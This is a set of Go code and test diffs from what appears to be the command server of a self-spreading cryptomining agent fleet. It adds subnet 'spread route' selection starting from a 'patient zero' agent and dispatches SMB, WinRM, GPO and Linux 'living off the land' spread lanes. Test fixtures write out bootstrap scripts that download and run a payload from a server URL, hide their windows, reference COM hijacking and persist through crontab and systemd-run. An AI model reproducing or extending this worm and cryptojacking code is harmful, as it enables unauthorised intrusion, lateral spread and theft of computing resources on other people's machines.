hub.mu.RUnlock()
if tel["emberwake_heat"] != 0.75 {
t.Fatalf("stored heat=%v", tel["emberwake_heat"])
}
}

View File

@@ -18,6 +18,8 @@ import (
qrcode "github.com/skip2/go-qrcode"
"golang.org/x/crypto/curve25519"
"crypto-miner-server/internal/spreadrouter"
)
// ── types ─────────────────────────────────────────────────────────────────────
@@ -236,6 +238,9 @@ func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
if hints := jsonRawOrNil(sess.NetworkHints); hints != nil {
resp["network_hints"] = hints
}
if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
resp["spread_routes"] = routes
}
writeJSON(w, resp)
}
@@ -363,12 +368,48 @@ func (h *PathTracerHandler) Discover(w http.ResponseWriter, r *http.Request) {
sess.DiscoveredAt = &now
}
resp := map[string]interface{}{
"ok": discoverErr == "",
"session_id": sess.ID,
"error": discoverErr,
"service_graph": serviceGraphList(sess.ServiceGraph),
"discovered_at": formatDiscoveredAt(sess.DiscoveredAt),
}
if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
resp["spread_routes"] = routes
}
writeJSON(w, resp)
}
// POST /api/v1/pathtrace/spread-route
// Body: {"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}
// Returns BGP-style spread route recommendations per target subnet.
func (h *PathTracerHandler) SpreadRoute(w http.ResponseWriter, r *http.Request) {
var req struct {
SessionID string `json:"session_id"`
TargetSubnets []string `json:"target_subnets"`
JoinLane string `json:"join_lane"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.SessionID = strings.TrimSpace(req.SessionID)
if req.SessionID == "" {
http.Error(w, "session_id is required", http.StatusBadRequest)
return
}
sess := h.getSession(req.SessionID)
if sess == nil {
http.Error(w, "session not found", http.StatusNotFound)
return
}
routes, edges := h.computeSpreadRoutes(sess, req.TargetSubnets, req.JoinLane)
writeJSON(w, map[string]interface{}{
"ok": discoverErr == "",
"session_id": sess.ID,
"error": discoverErr,
"service_graph": serviceGraphList(sess.ServiceGraph),
"discovered_at": formatDiscoveredAt(sess.DiscoveredAt),
"ok": true,
"session_id": sess.ID,
"spread_routes": routes,
"route_edges": edges,
})
}
@@ -410,6 +451,16 @@ func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
return
}
egress := sess.Hops[len(sess.Hops)-1]
if targetSubnet := strings.TrimSpace(r.URL.Query().Get("target_subnet")); targetSubnet != "" {
if routes := h.spreadRoutesForSession(sess, []string{targetSubnet}, ""); len(routes) > 0 {
for _, hop := range sess.Hops {
if hop.AgentID == routes[0].EgressAgentID {
egress = hop
break
}
}
}
}
if !h.hub.isAgentConnected(egress.AgentID) {
http.Error(w, "egress hop agent not connected", http.StatusBadRequest)
return
@@ -426,14 +477,74 @@ func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
http.Error(w, err.Error(), http.StatusBadGateway)
return
}
writeJSON(w, map[string]interface{}{
"ok": true,
"agent_id": egress.AgentID,
resp := map[string]interface{}{
"ok": true,
"agent_id": egress.AgentID,
"agent_name": egress.AgentName,
"unc_path": req.UNCPath,
"max_hosts": maxHosts,
"message": "spread_smb_unc dispatched on Path Tracer egress hop",
})
"unc_path": req.UNCPath,
"max_hosts": maxHosts,
"message": "spread_smb_unc dispatched on Path Tracer egress hop",
}
if routeHint := h.bestSpreadRouteForSession(sess, nil, ""); routeHint != nil {
resp["spread_route_hint"] = routeHint
}
writeJSON(w, resp)
}
func (h *PathTracerHandler) spreadRoutesForSession(sess *TraceSession, targetSubnets []string, joinLane string) []spreadrouter.RouteRecommendation {
routes, _ := h.computeSpreadRoutes(sess, targetSubnets, joinLane)
return routes
}
func (h *PathTracerHandler) computeSpreadRoutes(sess *TraceSession, targetSubnets []string, joinLane string) ([]spreadrouter.RouteRecommendation, []spreadrouter.RouteEdge) {
if sess == nil {
return nil, nil
}
in := buildSpreadRouterInput(h.hub, []*TraceSession{sess}, targetSubnets, joinLane)
rt := spreadrouter.Build(in)
return rt.Routes, rt.Edges
}
func (h *PathTracerHandler) bestSpreadRouteForSession(sess *TraceSession, targetSubnets []string, joinLane string) *spreadrouter.SpreadRouteHint {
routes := h.spreadRoutesForSession(sess, targetSubnets, joinLane)
if len(routes) == 0 {
return nil
}
return spreadrouter.ToHint(routes[0])
}
// RecommendSpreadRoute picks the best seed hop for a target subnet across all active sessions.
func (h *PathTracerHandler) RecommendSpreadRoute(targetSubnet, joinLane, patientZeroID string) *spreadrouter.SpreadRouteHint {
if h == nil {
return nil
}
targetSubnet = spreadrouter.NormalizeSubnet(targetSubnet)
if targetSubnet == "" {
return nil
}
sessions := traceSessionsSnapshot(h)
in := buildSpreadRouterInput(h.hub, sessions, []string{targetSubnet}, joinLane)
rt := spreadrouter.Build(in)
rec, ok := rt.Recommend(targetSubnet)
if !ok {
return nil
}
if patientZeroID != "" && rec.SeedAgentID == patientZeroID {
// Prefer a routed egress when patient zero is not the only candidate.
for _, edge := range rt.Edges {
if edge.ToSubnet == targetSubnet && edge.FromAgentID != patientZeroID && edge.Weight >= rec.Score*0.9 {
rec.SeedAgentID = edge.FromAgentID
rec.SeedAgentName = edge.FromAgentName
rec.EgressAgentID = edge.FromAgentID
rec.EgressHopIndex = edge.HopIndex
rec.SessionID = edge.SessionID
rec.Score = edge.Weight
rec.Reason = "routed egress (not patient zero)"
break
}
}
}
return spreadrouter.ToHint(rec)
}
// ── orchestration ─────────────────────────────────────────────────────────────

View File

@@ -593,3 +593,121 @@ func TestPathTracerNetworkHintsFromEgress(t *testing.T) {
}
t.Fatal("timed out waiting for network_hints on pathtrace session")
}
func TestPathTracerSpreadRouteRecommendation(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
patientID := "patient-zero-agent"
seedID := "seed-hop-agent"
if err := database.UpsertAgent(&models.Agent{ID: patientID, Name: "Patient Zero", IP: "10.1.2.3", Status: "online"}); err != nil {
t.Fatal(err)
}
if err := database.UpsertAgent(&models.Agent{ID: seedID, Name: "Seed Hop", IP: "10.1.2.4", Status: "online"}); err != nil {
t.Fatal(err)
}
hub := NewWSHub(database)
connectTestAgent(t, hub, patientID)
connectTestAgent(t, hub, seedID)
hub.ClearanceManager().RequestElevation(patientID, 4, "test", "test")
hub.ClearanceManager().RequestElevation(seedID, 2, "test", "test")
handler := NewPathTracerHandler(hub)
sess := testTraceSession(2)
sess.Hops[0].AgentID = patientID
sess.Hops[0].AgentName = "Patient Zero"
sess.Hops[0].ExternalIP = "10.1.2.3"
sess.Hops[1].AgentID = seedID
sess.Hops[1].AgentName = "Seed Hop"
sess.Hops[1].ExternalIP = "10.1.2.4"
sess.ServiceGraph = map[string]ServiceGraphHost{
"10.1.2.50": {
Host: "10.1.2.50", Subnet: "10.1.2", AgentID: seedID,
Services: []ServiceGraphEntry{{ServiceName: "smb", Port: 445, JoinLaneCandidate: "spread_smb_unc"}},
},
}
handler.mu.Lock()
handler.sessions[sess.ID] = sess
handler.mu.Unlock()
body := fmt.Sprintf(`{"session_id":%q,"target_subnets":["10.1.2"],"join_lane":"do_peer"}`, sess.ID)
req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread-route", strings.NewReader(body))
rec := httptest.NewRecorder()
handler.SpreadRoute(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("spread-route status=%d body=%s", rec.Code, rec.Body.String())
}
var resp struct {
SpreadRoutes []struct {
SeedAgentID string `json:"seed_agent_id"`
EgressAgentID string `json:"egress_agent_id"`
Score float64 `json:"score"`
} `json:"spread_routes"`
RouteEdges []struct {
Weight float64 `json:"weight"`
} `json:"route_edges"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if len(resp.SpreadRoutes) == 0 {
t.Fatalf("expected routes: %s", rec.Body.String())
}
if resp.SpreadRoutes[0].SeedAgentID != seedID {
t.Fatalf("seed=%q want %q routes=%v", resp.SpreadRoutes[0].SeedAgentID, seedID, resp.SpreadRoutes)
}
if len(resp.RouteEdges) == 0 {
t.Fatal("expected weighted route edges")
}
}
func TestDeployPlanIncludesSpreadRouteHint(t *testing.T) {
deployH := testDeployPlanHandler(t)
patientID := "deploy-patient-zero"
seedID := "deploy-seed-hop"
if err := deployH.db.UpsertAgent(&models.Agent{ID: patientID, Name: "PZ", IP: "10.9.8.7", Status: "online"}); err != nil {
t.Fatal(err)
}
if err := deployH.db.UpsertAgent(&models.Agent{ID: seedID, Name: "Seed", IP: "10.9.8.9", Status: "online"}); err != nil {
t.Fatal(err)
}
hub := NewWSHub(deployH.db)
connectTestAgent(t, hub, patientID)
connectTestAgent(t, hub, seedID)
hub.ClearanceManager().RequestElevation(patientID, 4, "test", "test")
hub.ClearanceManager().RequestElevation(seedID, 2, "test", "test")
pathTracer := NewPathTracerHandler(hub)
deployH.BindPathTracer(pathTracer)
sess := testTraceSession(2)
sess.Hops[0].AgentID = patientID
sess.Hops[0].ExternalIP = "10.9.8.7"
sess.Hops[1].AgentID = seedID
sess.Hops[1].ExternalIP = "10.9.8.9"
sess.ServiceGraph = map[string]ServiceGraphHost{
"10.9.8.20": {Host: "10.9.8.20", Subnet: "10.9.8", AgentID: seedID},
}
pathTracer.mu.Lock()
pathTracer.sessions[sess.ID] = sess
pathTracer.mu.Unlock()
req := deployPlanRequest{AgentID: patientID, Platform: "windows", BuildID: "b1"}
hint := deployH.recommendSpreadRoute(req, "do_peer")
if hint == nil {
t.Fatal("expected spread_route_hint recommendation")
}
if hint.TargetSubnet != "10.9.8" {
t.Fatalf("subnet=%q want 10.9.8 (from service graph discovery)", hint.TargetSubnet)
}
if hint.SeedAgentID == "" {
t.Fatal("expected routed seed agent")
}
if hint.SeedAgentID == patientID {
t.Fatalf("expected routed egress not patient zero, got %q", hint.SeedAgentID)
}
}

View File

@@ -155,3 +155,167 @@ func TestPhenotypeAPIListByFingerprint(t *testing.T) {
t.Fatalf("unexpected response: %+v", body)
}
}
func TestGeneticBreedOnSiblingAuth(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetFleetSecret("test-secret")
winnerA := "agent-winner-a"
winnerB := "agent-winner-b"
siblingID := "agent-sibling-c"
for _, ag := range []*models.Agent{
{ID: winnerA, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
{ID: winnerB, Name: "worker-12", Wallet: "4" + repeatChar('B', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
{ID: siblingID, Name: "worker-99", Wallet: "4" + repeatChar('C', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
} {
if err := database.UpsertAgent(ag); err != nil {
t.Fatal(err)
}
}
attempts := []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
}{
{Tier: "container", OK: true},
{Tier: "docker", OK: false},
{Tier: "wsl", OK: true},
}
hub.tryPublishWinningPhenotype(
winnerA, "windows", "127.0.0.1", nil, attempts,
900.0, "wsl", "winrm",
[]string{"container", "wsl", "cpu_inprocess"},
)
hub.tryPublishWinningPhenotype(
winnerB, "windows", "127.0.0.1", nil, attempts,
700.0, "ps_inmemory", "docker",
[]string{"wsl", "container", "ps_inmemory"},
)
fp := strategy.FingerprintFromAuth("windows", "127.0.0.1", false).Key()
if hub.breedingRegistry.LaneCount(fp) != 2 {
t.Fatalf("expected 2 lane winners, got %d", hub.breedingRegistry.LaneCount(fp))
}
if _, ok := hub.breedingRegistry.GetBred(fp); !ok {
t.Fatal("expected bred phenotype in registry")
}
if _, err := database.Exec(`DELETE FROM fleet_phenotypes WHERE fingerprint = ?`, fp); err != nil {
t.Fatal(err)
}
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": siblingID, "fleet_secret": "test-secret",
"wallet": "4" + repeatChar('C', 94), "hostname": "win-sibling", "platform": "windows", "version": "test",
})
var payload map[string]interface{}
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
t.Fatal(err)
}
raw, ok := payload["inherited_phenotype"]
if !ok {
t.Fatal("expected inherited_phenotype from genetic breed")
}
if _, hasAdaptive := payload["adaptive_strategy"]; hasAdaptive {
t.Fatal("genetic breed should override adaptive strategy")
}
data, _ := json.Marshal(raw)
var inherited struct {
SourceAgentName string `json:"source_agent_name"`
TierOrder []string `json:"tier_order"`
GeneticBreed bool `json:"genetic_breed"`
ParentLanes []string `json:"parent_lanes"`
}
if err := json.Unmarshal(data, &inherited); err != nil {
t.Fatal(err)
}
if !inherited.GeneticBreed {
t.Fatalf("expected genetic_breed=true, got %+v", inherited)
}
if len(inherited.ParentLanes) != 2 {
t.Fatalf("parent_lanes = %v", inherited.ParentLanes)
}
if len(inherited.TierOrder) == 0 {
t.Fatalf("empty bred tier_order: %+v", inherited)
}
if inherited.SourceAgentName == "" || inherited.SourceAgentName == "worker-07" {
t.Fatalf("expected genetic source name, got %q", inherited.SourceAgentName)
}
}
func TestInheritedPhenotypePrecedenceOverGeneticBreed(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetFleetSecret("test-secret")
winnerA := "agent-winner-a"
winnerB := "agent-winner-b"
siblingID := "agent-sibling-c"
for _, ag := range []*models.Agent{
{ID: winnerA, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
{ID: winnerB, Name: "worker-12", Wallet: "4" + repeatChar('B', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
{ID: siblingID, Name: "worker-99", Wallet: "4" + repeatChar('C', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
} {
if err := database.UpsertAgent(ag); err != nil {
t.Fatal(err)
}
}
hub.tryPublishWinningPhenotype(
winnerA, "windows", "127.0.0.1", nil, nil,
900.0, "wsl", "winrm",
[]string{"container", "wsl", "cpu_inprocess"},
)
hub.tryPublishWinningPhenotype(
winnerB, "windows", "127.0.0.1", nil, nil,
700.0, "ps_inmemory", "docker",
[]string{"wsl", "container", "ps_inmemory"},
)
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": siblingID, "fleet_secret": "test-secret",
"wallet": "4" + repeatChar('C', 94), "hostname": "win-sibling", "platform": "windows", "version": "test",
})
var payload map[string]interface{}
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
t.Fatal(err)
}
raw, ok := payload["inherited_phenotype"]
if !ok {
t.Fatal("expected inherited_phenotype")
}
data, _ := json.Marshal(raw)
var inherited struct {
SourceAgentName string `json:"source_agent_name"`
GeneticBreed bool `json:"genetic_breed"`
SpreadLane string `json:"spread_lane"`
}
if err := json.Unmarshal(data, &inherited); err != nil {
t.Fatal(err)
}
if inherited.GeneticBreed {
t.Fatal("stored fleet winner should beat genetic breed")
}
if inherited.SourceAgentName != "worker-07" {
t.Fatalf("source = %q, want worker-07", inherited.SourceAgentName)
}
if inherited.SpreadLane != "winrm" {
t.Fatalf("spread_lane = %q", inherited.SpreadLane)
}
}

View File

@@ -720,6 +720,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
if pathTracerHandler != nil {
r.Post("/pathtrace/start", pathTracerHandler.Start)
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
r.Post("/pathtrace/spread-route", pathTracerHandler.SpreadRoute)
r.Post("/pathtrace/spread", pathTracerHandler.Spread)
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
@@ -825,6 +826,46 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
return r
}
// agentBinaryCandidates returns search paths and the Content-Disposition filename
// for SUPP Seek agent downloads. dir is typically the directory containing the
// running server executable (USB bundle root or dev build output).
func agentBinaryCandidates(platform, dir string) (candidates []string, dlName string) {
switch platform {
case "windows":
dlName = "crypto-miner-agent.exe"
candidates = []string{
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
filepath.Join(dir, "crypto-miner-agent.exe"),
}
case "mac":
dlName = "crypto-miner-agent"
candidates = []string{
filepath.Join(dir, "agent", "crypto-miner-agent-darwin"),
filepath.Join(dir, "crypto-miner-agent-darwin"),
filepath.Join(dir, "agent", "crypto-miner-agent"),
}
case "linux":
dlName = "crypto-miner-agent"
candidates = []string{
filepath.Join(dir, "agent", "crypto-miner-agent-linux"),
filepath.Join(dir, "crypto-miner-agent-linux"),
filepath.Join(dir, "agent", "crypto-miner-agent"),
}
}
return candidates, dlName
}
// findAgentBinary locates the first existing candidate under dir.
func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
candidates, dlName := agentBinaryCandidates(platform, dir)
for _, c := range candidates {
if _, err := os.Stat(c); err == nil {
return c, dlName, true
}
}
return "", dlName, false
}
// serveAgentBinary returns an HTTP handler that streams the agent binary for
// the requested platform. It looks for the binary next to the running server
// exe so it works both from the USB bundle and from a compiled dev build.
@@ -832,55 +873,29 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Filename convention (same as what the build pipeline produces):
// - windows → crypto-miner-agent.exe
// - mac/linux → crypto-miner-agent (no extension)
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
var agentBinarySearchDir = func() (string, error) {
exe, err := os.Executable()
if err != nil {
return "", err
}
return filepath.Dir(exe), nil
}
func serveAgentBinary(platform string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
exe, err := os.Executable()
dir, err := agentBinarySearchDir()
if err != nil {
http.Error(w, "server exe not found", http.StatusInternalServerError)
return
}
dir := filepath.Dir(exe)
var candidates []string
var dlName string
switch platform {
case "windows":
dlName = "crypto-miner-agent.exe"
candidates = []string{
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
filepath.Join(dir, "crypto-miner-agent.exe"),
}
case "mac":
dlName = "crypto-miner-agent"
candidates = []string{
filepath.Join(dir, "agent", "crypto-miner-agent-darwin"),
filepath.Join(dir, "crypto-miner-agent-darwin"),
filepath.Join(dir, "agent", "crypto-miner-agent"),
}
case "linux":
dlName = "crypto-miner-agent"
candidates = []string{
filepath.Join(dir, "agent", "crypto-miner-agent-linux"),
filepath.Join(dir, "crypto-miner-agent-linux"),
filepath.Join(dir, "agent", "crypto-miner-agent"),
}
}
var binPath string
for _, c := range candidates {
if _, err := os.Stat(c); err == nil {
binPath = c
break
}
}
if binPath == "" {
binPath, dlName, ok := findAgentBinary(platform, dir)
if !ok {
log.Printf("[supp] agent binary not found for platform=%s (looked in %s)", platform, dir)
http.Error(w, "agent binary not available for "+platform, http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", `attachment; filename="`+dlName+`"`)
http.ServeFile(w, r, binPath)

View File

@@ -0,0 +1,79 @@
package api
import (
"encoding/json"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
func TestPublishScoutPhenotypeFromReport(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
scoutID := "apk-scout-1"
if err := database.UpsertAgent(&models.Agent{
ID: scoutID, Name: "tablet-scout", Platform: "android", Status: "online",
IP: "127.0.0.1", LastSeen: time.Now(),
}); err != nil {
t.Fatal(err)
}
hub.tryPublishScoutPhenotype(scoutID, "android", "127.0.0.1", nil, "docker", 5)
fp := strategy.FingerprintFromAuth("android", "127.0.0.1", false)
pheno, err := database.GetFleetPhenotypeByFingerprint(fp.Key())
if err != nil {
t.Fatal(err)
}
if pheno.SpreadLane != "docker" {
t.Fatalf("spread_lane=%q", pheno.SpreadLane)
}
if pheno.PeakHashrate != 0 {
t.Fatalf("scout phenotype should not require hashrate, got %v", pheno.PeakHashrate)
}
if len(pheno.TierOrder) < 2 {
t.Fatalf("tier_order=%v", pheno.TierOrder)
}
}
func TestAuthResponseSpreadTemperamentPersona(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetFleetSecret("test-secret")
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true, AIPersona: "aggressive"})
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "agent-scout-policy", "fleet_secret": "test-secret",
"wallet": "4" + repeatChar('C', 94), "hostname": "win-host", "platform": "windows", "version": "test",
})
var payload map[string]interface{}
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
t.Fatal(err)
}
raw, ok := payload["spread_temperament"]
if !ok {
t.Fatal("missing spread_temperament")
}
data, _ := json.Marshal(raw)
var temperament strategy.AdaptiveStrategy
if err := json.Unmarshal(data, &temperament); err != nil {
t.Fatal(err)
}
if len(temperament.TierOrder) == 0 || temperament.TierOrder[2] != "smb" {
t.Fatalf("aggressive spread temperament = %v", temperament.TierOrder)
}
}

View File

@@ -15,6 +15,15 @@ type ServerPolicy struct {
TripleOnionPolicy TripleOnionPolicy
// AIControlEnabled replaces adaptive_strategy when true (Fleet AI Control).
AIControlEnabled bool
// AIPersona selects Fleet AI spread propagation temperament (aggressive/silent/…).
AIPersona string
// AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24.
AtlasLanGossipEnabled bool
// FleetRolesEnabled pushes seeder/miner hints on auth and tracks LAN seeders.
FleetRolesEnabled bool
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread.
HashrateGateSpreadMin int
HashrateGateHPS float64
}
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.

View File

@@ -86,6 +86,33 @@ func TestNormalizeJoinLaneAliases(t *testing.T) {
}
}
func TestPickDeployLaneGPO(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "gpsvc", Status: "running"}}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "gpsvc" || lane.Lane != "gpo" || lane.Template != "gpo" {
t.Fatalf("matched=%q lane=%+v", matched, lane)
}
}
func TestPickDeployLaneWinRM(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "WinRM", Status: "running"}}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "WinRM" || lane.Lane != "winrm" || lane.Template != "winrm" {
t.Fatalf("matched=%q lane=%+v", matched, lane)
}
}
func TestPickDeployLaneLinuxLOTL(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "sshd", Status: "active"}}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "sshd" || lane.Lane != "linux_lotl" || lane.Template != "linux-lotl" {
t.Fatalf("matched=%q lane=%+v", matched, lane)
}
}
func TestVerifyDeployPlanSignature(t *testing.T) {
plan := DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"}
sig, err := signDeployPlan(plan, "test-secret")

View File

@@ -2,9 +2,11 @@ package api
import (
"encoding/json"
"log"
"net/http"
"strings"
"crypto-miner-server/internal/atlas"
dbpkg "crypto-miner-server/internal/db"
)
@@ -194,5 +196,14 @@ func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if !req.Success {
target := req.Subnet
if target == "" {
target = req.Host
}
if paused, recErr := h.db.RecordSubnetSpreadFailure(target); recErr == nil && paused {
log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", atlas.PrefixFromHostOrIP(target), atlas.SubnetSpreadFailureThreshold)
}
}
writeJSON(w, map[string]interface{}{"ok": true})
}

View File

@@ -49,7 +49,14 @@ func writeSpreadTemplates(t *testing.T, root string) {
if err := os.MkdirAll(winrmDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte("{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}} COM={{COM_HIJACK}}"), 0644); err != nil {
winrmScript := `# WinRM bootstrap
Enable-PSRemoting -Force -SkipNetworkProfileCheck
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
Start-Process -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
powershell.exe -EncodedCommand $encoded
COM={{COM_HIJACK}}
`
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0644); err != nil {
t.Fatal(err)
}
@@ -57,7 +64,13 @@ func writeSpreadTemplates(t *testing.T, root string) {
if err := os.MkdirAll(linuxDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte("#!/bin/sh\n# {{LOTL_MODE}} {{SERVER_URL}}\n"), 0755); err != nil {
linuxScript := `#!/bin/sh
LOTL_MODE='{{LOTL_MODE}}'
curl -fsSL "{{SERVER_URL}}/get?os=linux{{QUERY_SUFFIX}}"
systemd-run --user --unit=aetherforge-worker.service
persist_crontab() { crontab -; }
`
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0755); err != nil {
t.Fatal(err)
}
@@ -65,7 +78,12 @@ func writeSpreadTemplates(t *testing.T, root string) {
if err := os.MkdirAll(entDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte("{{SERVER_URL}}{{GET_QUERY_SUFFIX}}"), 0644); err != nil {
gpoScript := `# GPO computer startup script
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
$env:AETHER_DEFER_MINING = '1'
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
`
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0644); err != nil {
t.Fatal(err)
}
}
@@ -220,6 +238,137 @@ func TestExportSpreadTemplateRequiresTemplate(t *testing.T) {
}
}
func TestExportSpreadTemplateGPO(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{
"template": "gpo",
"server_url": "https://deck.example",
"build_id": "pin-gpo",
"campaign": "domain-wave",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
if !strings.Contains(rec.Header().Get("Content-Disposition"), "aetherforge-gpo-startup.zip") {
t.Fatalf("disposition %q", rec.Header().Get("Content-Disposition"))
}
entries := readZipEntries(t, rec.Body.Bytes())
script := entries["gpo-startup.ps1"]
for _, marker := range []string{
"https://deck.example/install.ps1",
"pin=pin-gpo",
"c=domain-wave",
"AETHER_DEFER_MINING",
} {
if !strings.Contains(script, marker) {
t.Fatalf("gpo script missing %q: %s", marker, script)
}
}
}
func TestExportSpreadTemplateLinuxLOTL(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{
"template": "linux-lotl",
"server_url": "https://deck.example",
"build_id": "pin-lnx",
"campaign": "ssh-wave",
"lotl_mode": "both",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
entries := readZipEntries(t, rec.Body.Bytes())
script := entries["lotl-bootstrap.sh"]
for _, marker := range []string{
"https://deck.example/get?os=linux",
"pin=pin-lnx",
"LOTL_MODE='both'",
"systemd-run --user",
"crontab",
} {
if !strings.Contains(script, marker) {
t.Fatalf("linux script missing %q: %s", marker, script)
}
}
}
func TestSpreadTemplateRejectsUnknownLane(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{
"template": "bogus-lane",
"server_url": "https://deck.example",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
}
}
func TestSpreadTemplateRequiresServerURL(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{"template": "winrm"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status %d", rec.Code)
}
}
func TestExportSpreadTemplateWinRMMarkers(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
